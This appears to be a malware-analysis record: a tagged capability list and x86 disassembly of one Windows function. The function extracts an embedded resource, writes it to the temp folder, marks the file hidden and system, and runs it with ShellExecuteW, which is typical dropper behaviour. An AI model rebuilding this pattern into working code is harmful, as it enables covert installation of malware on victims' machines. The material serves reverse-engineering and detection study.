Function at 0x401160
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, edx
push 0x206
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00402c20
add esp, 0xc
lea eax, [ebp - 0x41c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push 0x104
push eax
call fcn.00404650
push esi
lea eax, [ebp - 0x214]
push 0x104
push eax
call fcn.004046b4
xorps xmm0, xmm0
lea esi, [ebp - 0x214]
add esp, 0x18
lea ecx, [esi + 2]
movups xmmword [ebp - 0x438], xmm0
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4011f0
sub esi, ecx
sar esi, 1
cmp esi, 0x7ffffffe
ja 0x40141e
cmp esi, 7
ja 0x401248
mov dword [ebp - 0x428], esi
lea eax, [ebp - 0x214]
add esi, esi
mov dword [ebp - 0x424], 7
push esi
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.00404090
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x438], ax
jmp 0x4012e5
mov edi, esi
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40128f
mov eax, 0x7fffffff
mov edi, 0x7ffffffe
add eax, eax
cmp eax, 0x1000
jb 0x4012af
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401419
push ecx
call fcn.004016a4
add esp, 4
test eax, eax
je 0x401423
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x4012ba
mov eax, 0xa
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x401419
add eax, eax
jne 0x401261
xor ebx, ebx
jmp 0x4012ba
push eax
call fcn.004016a4
add esp, 4
mov ebx, eax
mov dword [ebp - 0x428], esi
lea eax, [ebp - 0x214]
add esi, esi
mov dword [ebp - 0x438], ebx
push esi
push eax
push ebx
mov dword [ebp - 0x424], edi
call fcn.00404090
add esp, 0xc
xor eax, eax
mov word [esi + ebx], ax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx ecx, word [ebp + 8]
mov edi, eax
push 0x413d88
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x40139d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40139d
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x43c], eax
test eax, eax
je 0x40139d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x401396
cmp dword [ebp - 0x424], 7
lea ecx, [ebp - 0x438]
push 0
cmova ecx, dword [ebp - 0x438]
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x401396
push 0
lea eax, [ebp - 0x420]
mov dword [ebp - 0x420], 0xffffffff
push eax
push ebx
push dword [ebp - 0x43c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x424]
cmp ecx, 7
jbe 0x4013d9
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4013cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401423
push ecx
push edx
call fcn.004016d4
add esp, 8
push 6
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 5
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x214]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401696
mov esp, ebp
pop ebp
ret
call fcn.004010b0
call fcn.00401150
call fcn.00404a3f
int3